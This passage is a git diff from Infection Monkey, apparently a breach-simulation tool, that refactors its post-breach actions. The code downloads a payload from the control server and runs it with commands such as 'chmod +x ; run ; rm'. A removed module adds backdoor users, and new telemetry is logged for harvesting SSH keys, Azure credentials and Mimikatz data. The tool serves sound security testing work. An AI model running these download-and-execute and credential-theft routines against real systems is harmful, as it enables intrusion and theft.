+ PostBreachTelem(self, (e.output, False)).send()
+ except NewUserError as e:
+ PostBreachTelem(self, (str(e), False)).send()
+
+ @staticmethod
+ def get_random_new_user_name():
+ return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+
+ @staticmethod
+ def get_commandline_for_ping(domain=PING_TEST_DOMAIN, is_windows=is_windows_os()):
+ format_string = "PING.exe {domain} -n 1" if is_windows else "ping -c 1 {domain}"
+ return format_string.format(domain=domain)
+
+ def send_ping_result_telemetry(self, exit_status, commandline, username):
+ """
+ Parses the result of ping and sends telemetry accordingly.
+
+ :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success.
+ :param commandline: Exact commandline which was executed, for reporting back.
+ :param username: Username from which the command was executed, for reporting back.
+ """
+ if exit_status == 0:
+ PostBreachTelem(self, (
+ CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send()
+ else:
+ PostBreachTelem(self, (
+ CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send()
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
new file mode 100644
index 000000000..89417757d
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -0,0 +1,108 @@
+import os
+import logging
+
+from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION
+from infection_monkey.utils.environment import is_windows_os
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.control import ControlClient
+from infection_monkey.config import WormConfiguration
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+
+LOG = logging.getLogger(__name__)
+
+__author__ = 'VakarisZ'
+
+# Default commands for executing PBA file and then removing it
+DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
+DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
+
+DIR_CHANGE_WINDOWS = 'cd %s & '
+DIR_CHANGE_LINUX = 'cd %s ; '
+
+
+class UsersPBA(PBA):
+ """
+ Defines user's configured post breach action.
+ """
+ def __init__(self):
+ super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
+ self.filename = ''
+ if not is_windows_os():
+ # Add linux commands to PBA's
+ if WormConfiguration.PBA_linux_filename:
+ if WormConfiguration.custom_PBA_linux_cmd:
+ # Add change dir command, because user will try to access his file
+ self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
+ self.filename = WormConfiguration.PBA_linux_filename
+ else:
+ file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
+ self.command = DEFAULT_LINUX_COMMAND.format(file_path)
+ self.filename = WormConfiguration.PBA_linux_filename
+ elif WormConfiguration.custom_PBA_linux_cmd:
+ self.command = WormConfiguration.custom_PBA_linux_cmd
+ else:
+ # Add windows commands to PBA's
+ if WormConfiguration.PBA_windows_filename:
+ if WormConfiguration.custom_PBA_windows_cmd:
+ # Add change dir command, because user will try to access his file
+ self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
+ self.filename = WormConfiguration.PBA_windows_filename
+ else:
+ file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
+ self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
+ self.filename = WormConfiguration.PBA_windows_filename
+ elif WormConfiguration.custom_PBA_windows_cmd:
+ self.command = WormConfiguration.custom_PBA_windows_cmd
+
+ def _execute_default(self):
+ if self.filename:
+ UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
+ return super(UsersPBA, self)._execute_default()
+
+ @staticmethod
+ def should_run(class_name):
+ if not is_windows_os():
+ if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
+ return True
+ else:
+ if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
+ return True
+ return False
+
+ @staticmethod
+ def download_pba_file(dst_dir, filename):
+ """
+ Handles post breach action file download
+ :param dst_dir: Destination directory
+ :param filename: Filename
+ :return: True if successful, false otherwise
+ """
+
+ pba_file_contents = ControlClient.get_pba_file(filename)
+
+ status = None
+ if not pba_file_contents or not pba_file_contents.content:
+ LOG.error("Island didn't respond with post breach file.")
+ status = ScanStatus.SCANNED
+
+ if not status:
+ status = ScanStatus.USED
+
+ T1105Telem(status,
+ WormConfiguration.current_server.split(':')[0],
+ get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
+ filename).send()
+
+ if status == ScanStatus.SCANNED:
+ return False
+
+ try:
+ with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
+ written_PBA_file.write(pba_file_contents.content)
+ return True
+ except IOError as e:
+ LOG.error("Can not upload post breach file to target machine: %s" % e)
+ return False
diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py
deleted file mode 100644
index 94aa210e4..000000000
--- a/monkey/infection_monkey/post_breach/add_user.py
+++ /dev/null
@@ -1,52 +0,0 @@
-import datetime
-import logging
-import subprocess
-import sys
-from infection_monkey.config import WormConfiguration
-
-LOG = logging.getLogger(__name__)
-
-# Linux doesn't have WindowsError
-try:
- WindowsError
-except NameError:
- WindowsError = None
-
-__author__ = 'danielg'
-
-
-class BackdoorUser(object):
- """
- This module adds a disabled user to the system.
- This tests part of the ATT&CK matrix
- """
-
- def act(self):
- LOG.info("Adding a user")
- try:
- if sys.platform.startswith("win"):
- retval = self.add_user_windows()
- else:
- retval = self.add_user_linux()
- if retval != 0:
- LOG.warn("Failed to add a user")
- else:
- LOG.info("Done adding user")
- except OSError:
- LOG.exception("Exception while adding a user")
-
- @staticmethod
- def add_user_linux():
- cmd_line = ['useradd', '-M', '--expiredate',
- datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
- WormConfiguration.user_to_add]
- retval = subprocess.call(cmd_line)
- return retval
-
- @staticmethod
- def add_user_windows():
- cmd_line = ['net', 'user', WormConfiguration.user_to_add,
- WormConfiguration.remote_user_pass,
- '/add', '/ACTIVE:NO']
- retval = subprocess.call(cmd_line)
- return retval
diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py
deleted file mode 100644
index 5f52a29a6..000000000
--- a/monkey/infection_monkey/post_breach/file_execution.py
+++ /dev/null
@@ -1,68 +0,0 @@
-from infection_monkey.post_breach.pba import PBA
-from infection_monkey.control import ControlClient
-from infection_monkey.config import WormConfiguration
-from infection_monkey.utils import get_monkey_dir_path
-import requests
-import os
-import logging
-
-LOG = logging.getLogger(__name__)
-
-__author__ = 'VakarisZ'
-
-# Default commands for executing PBA file and then removing it
-DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
-DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
-
-
-class FileExecution(PBA):
- """
- Defines user's file execution post breach action.
- """
- def __init__(self, linux_command="", windows_command=""):
- self.linux_filename = WormConfiguration.PBA_linux_filename
- self.windows_filename = WormConfiguration.PBA_windows_filename
- super(FileExecution, self).__init__("File execution", linux_command, windows_command)
-
- def _execute_linux(self):
- FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
- return super(FileExecution, self)._execute_linux()
-
- def _execute_win(self):
- FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
- return super(FileExecution, self)._execute_win()
-
- def add_default_command(self, is_linux):
- """
- Replaces current (likely empty) command with default file execution command (that changes permissions, executes
- and finally deletes post breach file).
- Default commands are defined as globals in this module.
- :param is_linux: Boolean that indicates for which OS the command is being set.
- """
- if is_linux:
- file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
- self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
- else:
- file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
- self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
-
- @staticmethod
- def download_PBA_file(dst_dir, filename):
- """
- Handles post breach action file download
- :param dst_dir: Destination directory
- :param filename: Filename
- :return: True if successful, false otherwise
- """
-
- PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
- (WormConfiguration.current_server, filename),
- verify=False,
- proxies=ControlClient.proxies)
- try:
- with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
- written_PBA_file.write(PBA_file_contents.content)
- return True
- except IOError as e:
- LOG.error("Can not download post breach file to target machine, because %s" % e)
- return False
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 09fe613b3..8d7723df2 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -1,68 +1,94 @@
import logging
-from infection_monkey.control import ControlClient
import subprocess
-import socket
+
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
+from infection_monkey.utils.environment import is_windows_os
+from infection_monkey.config import WormConfiguration
+from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
+
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
+EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
- def __init__(self, name="unknown", linux_command="", windows_command=""):
+ def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.
- :param linux_command: Command that will be executed on linux machine
- :param windows_command: Command that will be executed on windows machine
+ :param linux_cmd: Command that will be executed on breached machine
+ :param windows_cmd: Command that will be executed on breached machine
"""
- self.linux_command = linux_command
- self.windows_command = windows_command
+ self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.name = name
- def run(self, is_linux):
+ def get_pba(self):
"""
- Runs post breach action command
- :param is_linux: boolean that indicates on which os monkey is running
+ This method returns a PBA object based on a worm's configuration.
+ Return None or False if you don't want the pba to be executed.
+ :return: A pba object.
"""
- if is_linux:
- command = self.linux_command
- exec_funct = self._execute_linux
- else:
- command = self.windows_command
- exec_funct = self._execute_win
- if command:
- hostname = socket.gethostname()
- ControlClient.send_telemetry('post_breach', {'command': command,
- 'result': exec_funct(),
- 'name': self.name,
- 'hostname': hostname,
- 'ip': socket.gethostbyname(hostname)
- })
-
- def _execute_linux(self):
- """
- Default linux PBA execution function. Override it if additional functionality is needed
- """
- return self._execute_default(self.linux_command)
-
- def _execute_win(self):
- """
- Default linux PBA execution function. Override it if additional functionality is needed
- """
- return self._execute_default(self.windows_command)
+ return self
@staticmethod
- def _execute_default(command):
+ def should_run(class_name):
+ """
+ Decides if post breach action is enabled in config
+ :return: True if it needs to be ran, false otherwise
+ """
+ return class_name in WormConfiguration.post_breach_actions
+
+ def run(self):
+ """
+ Runs post breach action command
+ """
+ exec_funct = self._execute_default
+ result = exec_funct()
+ if self.scripts_were_used_successfully(result):
+ T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send()
+ PostBreachTelem(self, result).send()
+
+ def is_script(self):
+ """
+ Determines if PBA is a script (PBA might be a single command)
+ :return: True if PBA is a script(series of OS commands)
+ """
+ return isinstance(self.command, list) and len(self.command) > 1
+
+ def scripts_were_used_successfully(self, pba_execution_result):
+ """
+ Determines if scripts were used to execute PBA and if they succeeded
+ :param pba_execution_result: result of execution function. e.g. self._execute_default
+ :return: True if scripts were used, False otherwise
+ """
+ pba_execution_succeeded = pba_execution_result[1]
+ return pba_execution_succeeded and self.is_script()
+
+ def _execute_default(self):
"""
Default post breach command execution routine
- :param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
- return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
+ output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
+ if not output:
+ output = EXECUTION_WITHOUT_OUTPUT
+ return output, True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False
+
+ @staticmethod
+ def choose_command(linux_cmd, windows_cmd):
+ """
+ Helper method that chooses between linux and windows commands.
+ :param linux_cmd:
+ :param windows_cmd:
+ :return: Command for current os
+ """
+ return windows_cmd if is_windows_os() else linux_cmd
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index ff24ebbbb..b5dfa93c7 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -1,16 +1,15 @@
import logging
-import infection_monkey.config
-from file_execution import FileExecution
-from pba import PBA
-from infection_monkey.utils import is_windows_os
-from infection_monkey.utils import get_monkey_dir_path
+import inspect
+import importlib
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.post_breach.actions import get_pba_files
+from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
-DIR_CHANGE_WINDOWS = 'cd %s & '
-DIR_CHANGE_LINUX = 'cd %s ; '
+PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
class PostBreach(object):
@@ -19,65 +18,40 @@ class PostBreach(object):
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
- self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
+ self.pba_list = self.config_to_pba_list()
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
- pba.run(self.os_is_linux)
- LOG.info("Post breach actions executed")
+ try:
+ LOG.debug("Executing PBA: '{}'".format(pba.name))
+ pba.run()
+ except Exception as e:
+ LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))
+ LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
@staticmethod
- def config_to_pba_list(config):
+ def config_to_pba_list():
"""
- Returns a list of PBA objects generated from config.
- :param config: Monkey configuration
+ Passes config to each post breach action class and aggregates results into a list.
:return: A list of PBA objects.
"""
pba_list = []
- pba_list.extend(PostBreach.get_custom_PBA(config))
-
+ pba_files = get_pba_files()
+ # Go through all of files in ./actions
+ for pba_file in pba_files:
+ # Import module from that file
+ module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
+ # Get all classes in a module
+ pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
+ if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
+ # Get post breach action object from class
+ for pba_class in pba_classes:
+ LOG.debug("Checking if should run PBA {}".format(pba_class.__name__))
+ if pba_class.should_run(pba_class.__name__):
+ pba = pba_class()
+ pba_list.append(pba)
+ LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__))
return pba_list
-
- @staticmethod
- def get_custom_PBA(config):
- """
- Creates post breach actions depending on users input into 'custom post breach' config section
- :param config: monkey's configuration
- :return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
- """
- custom_list = []
- file_pba = FileExecution()
- command_pba = PBA(name="Custom")
-
- if not is_windows_os():
- # Add linux commands to PBA's
- if config.PBA_linux_filename:
- if config.custom_PBA_linux_cmd:
- # Add change dir command, because user will try to access his file
- file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
- else:
- file_pba.add_default_command(is_linux=True)
- elif config.custom_PBA_linux_cmd:
- command_pba.linux_command = config.custom_PBA_linux_cmd
- else:
- # Add windows commands to PBA's
- if config.PBA_windows_filename:
- if config.custom_PBA_windows_cmd:
- # Add change dir command, because user will try to access his file
- file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
- config.custom_PBA_windows_cmd
- else:
- file_pba.add_default_command(is_linux=False)
- elif config.custom_PBA_windows_cmd:
- command_pba.windows_command = config.custom_PBA_windows_cmd
-
- # Add PBA's to list
- if file_pba.linux_command or file_pba.windows_command:
- custom_list.append(file_pba)
- if command_pba.windows_command or command_pba.linux_command:
- custom_list.append(command_pba)
-
- return custom_list
diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
new file mode 100644
index 000000000..51a0fca4a
--- /dev/null
+++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
@@ -0,0 +1,6 @@
+from PyInstaller.utils.hooks import collect_submodules, collect_data_files
+
+# Import all actions as modules
+hiddenimports = collect_submodules('infection_monkey.post_breach.actions')
+# Add action files that we enumerate
+datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True))
diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt
index 0b56da2f7..06bf449da 100644
--- a/monkey/infection_monkey/readme.txt
+++ b/monkey/infection_monkey/readme.txt
@@ -62,7 +62,7 @@ a. Build sambacry binaries yourself
a.1. Install gcc-multilib if it's not installed
sudo apt-get install gcc-multilib
a.2. Build the binaries
- cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
+ cd [code location]/infection_monkey/exploit/sambacry_monkey_runner
./build.sh
b. Download our pre-built sambacry binaries
diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt
index bef031d2e..f30131267 100644
--- a/monkey/infection_monkey/requirements_linux.txt
+++ b/monkey/infection_monkey/requirements_linux.txt
@@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
-pyasn1
cffi
-twisted
-rdpy
requests
odict
paramiko
diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt
index 5689ca332..a9642aa2f 100644
--- a/monkey/infection_monkey/requirements_windows.txt
+++ b/monkey/infection_monkey/requirements_windows.txt
@@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
-pyasn1
cffi
-twisted
-rdpy
requests
odict
paramiko
diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py
index af1915e4d..60c509fc6 100644
--- a/monkey/infection_monkey/system_info/SSH_info_collector.py
+++ b/monkey/infection_monkey/system_info/SSH_info_collector.py
@@ -3,6 +3,9 @@ import pwd
import os
import glob
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
+
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
@@ -71,6 +74,7 @@ class SSHCollector(object):
if private_key.find('ENCRYPTED') == -1:
info['private_key'] = private_key
LOG.info("Found private key in %s" % private)
+ T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send()
else:
continue
except (IOError, OSError):
diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py
index 3b1127e44..90626922d 100644
--- a/monkey/infection_monkey/system_info/azure_cred_collector.py
+++ b/monkey/infection_monkey/system_info/azure_cred_collector.py
@@ -5,6 +5,10 @@ import json
import glob
import subprocess
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
+from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
+
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
@@ -54,6 +58,8 @@ class AzureCollector(object):
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
+ T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
+ T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@@ -92,6 +98,8 @@ class AzureCollector(object):
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
+ T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
+ T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py
index 4ef764251..2951b7ebc 100644
--- a/monkey/infection_monkey/system_info/mimikatz_collector.py
+++ b/monkey/infection_monkey/system_info/mimikatz_collector.py
@@ -5,7 +5,9 @@ import socket
import zipfile
import infection_monkey.config
-
+from common.utils.attack_utils import ScanStatus, UsageEnum
+from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
__author__ = 'itay.mizeretz'
@@ -49,8 +51,12 @@ class MimikatzCollector(object):
self._get = get_proto(("get", self._dll))
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True
+ status = ScanStatus.USED
except Exception:
LOG.exception("Error initializing mimikatz collector")
+ status = ScanStatus.SCANNED
+ T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
+ T1129Telem(status, UsageEnum.MIMIKATZ).send()
def get_logon_info(self):
"""
@@ -67,7 +73,7 @@ class MimikatzCollector(object):
logon_data_dictionary = {}
hostname = socket.gethostname()
-
+
self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count):
@@ -102,7 +108,7 @@ class MimikatzCollector(object):
except Exception:
LOG.exception("Error getting logon info")
return {}
-
+
def get_mimikatz_text(self):
return self.mimikatz_text
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 7c3739a0f..b8a102831 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector):
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
+ LOG.info('Mimikatz info gathered successfully')
else:
LOG.info('No mimikatz info was gathered')
diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
index 9f56c238e..6a4a0912b 100644
--- a/monkey/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -5,6 +5,7 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
+
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@@ -43,20 +44,17 @@ class WindowsSystemSingleton(_SystemSingleton):
ctypes.c_bool(True),
ctypes.c_char_p(self._mutex_name))
last_error = ctypes.windll.kernel32.GetLastError()
+
if not handle:
LOG.error("Cannot acquire system singleton %r, unknown error %d",
self._mutex_name, last_error)
-
return False
-
if winerror.ERROR_ALREADY_EXISTS == last_error:
LOG.debug("Cannot acquire system singleton %r, mutex already exist",
self._mutex_name)
-
return False
self._mutex_handle = handle
-
LOG.debug("Global singleton mutex %r acquired",
self._mutex_name)
@@ -64,7 +62,6 @@ class WindowsSystemSingleton(_SystemSingleton):
def unlock(self):
assert self._mutex_handle is not None, "Singleton not locked"
-
ctypes.windll.kernel32.CloseHandle(self._mutex_handle)
self._mutex_handle = None
diff --git a/monkey/infection_monkey/telemetry/__init__.py b/monkey/infection_monkey/telemetry/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/telemetry/attack/__init__.py b/monkey/infection_monkey/telemetry/attack/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py
new file mode 100644
index 000000000..893f4492a
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py
@@ -0,0 +1,24 @@
+from infection_monkey.telemetry.base_telem import BaseTelem
+
+__author__ = "VakarisZ"
+
+
+class AttackTelem(BaseTelem):
+
+ def __init__(self, technique, status):
+ """
+ Default ATT&CK telemetry constructor
+ :param technique: Technique ID. E.g. T111
+ :param status: ScanStatus of technique
+ """
+ super(AttackTelem, self).__init__()
+ self.technique = technique
+ self.status = status
+
+ telem_category = 'attack'
+
+ def get_data(self):
+ return {
+ 'status': self.status.value,
+ 'technique': self.technique
+ }
diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py
new file mode 100644
index 000000000..999d8622a
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py
@@ -0,0 +1,22 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class T1005Telem(AttackTelem):
+ def __init__(self, status, gathered_data_type, info=""):
+ """
+ T1005 telemetry.
+ :param status: ScanStatus of technique
+ :param gathered_data_type: Type of data collected from local system
+ :param info: Additional info about data
+ """
+ super(T1005Telem, self).__init__('T1005', status)
+ self.gathered_data_type = gathered_data_type
+ self.info = info
+
+ def get_data(self):
+ data = super(T1005Telem, self).get_data()
+ data.update({
+ 'gathered_data_type': self.gathered_data_type,
+ 'info': self.info
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py
new file mode 100644
index 000000000..4ca9dc93c
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1035Telem(UsageTelem):
+ def __init__(self, status, usage):
+ """
+ T1035 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Enum of UsageEnum type
+ """
+ super(T1035Telem, self).__init__('T1035', status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
new file mode 100644
index 000000000..efea27063
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.attack.usage_telem import AttackTelem
+
+
+class T1064Telem(AttackTelem):
+ def __init__(self, status, usage):
+ """
+ T1064 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Usage string
+ """
+ super(T1064Telem, self).__init__('T1064', status)
+ self.usage = usage
+
+ def get_data(self):
+ data = super(T1064Telem, self).get_data()
+ data.update({
+ 'usage': self.usage
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
new file mode 100644
index 000000000..454391da8
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
@@ -0,0 +1,25 @@
+from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
+
+
+class T1105Telem(AttackTelem):
+ def __init__(self, status, src, dst, filename):
+ """
+ T1105 telemetry.
+ :param status: ScanStatus of technique
+ :param src: IP of machine which uploaded the file
+ :param dst: IP of machine which downloaded the file
+ :param filename: Uploaded file's name
+ """
+ super(T1105Telem, self).__init__('T1105', status)
+ self.filename = filename
+ self.src = src
+ self.dst = dst
+
+ def get_data(self):
+ data = super(T1105Telem, self).get_data()
+ data.update({
+ 'filename': self.filename,
+ 'src': self.src,
+ 'dst': self.dst
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py
new file mode 100644
index 000000000..422313540
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1106Telem(UsageTelem):
+ def __init__(self, status, usage):
+ """
+ T1106 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Enum name of UsageEnum
+ """
+ super(T1106Telem, self).__init__("T1106", status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
new file mode 100644
index 000000000..ffb69b698
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class T1107Telem(AttackTelem):
+ def __init__(self, status, path):
+ """
+ T1107 telemetry.
+ :param status: ScanStatus of technique
+ :param path: Path of deleted dir/file
+ """
+ super(T1107Telem, self).__init__('T1107', status)
+ self.path = path
+
+ def get_data(self):
+ data = super(T1107Telem, self).get_data()
+ data.update({
+ 'path': self.path
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py
new file mode 100644
index 000000000..4e7a12ce8
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1129Telem(UsageTelem):
+ def __init__(self, status, usage):
+ """
+ T1129 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Enum of UsageEnum type
+ """
+ super(T1129Telem, self).__init__("T1129", status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py
new file mode 100644
index 000000000..387c3aa13
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py
@@ -0,0 +1,22 @@
+from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
+
+__author__ = "itay.mizeretz"
+
+
+class T1197Telem(VictimHostTelem):
+ def __init__(self, status, machine, usage):
+ """
+ T1197 telemetry.
+ :param status: ScanStatus of technique
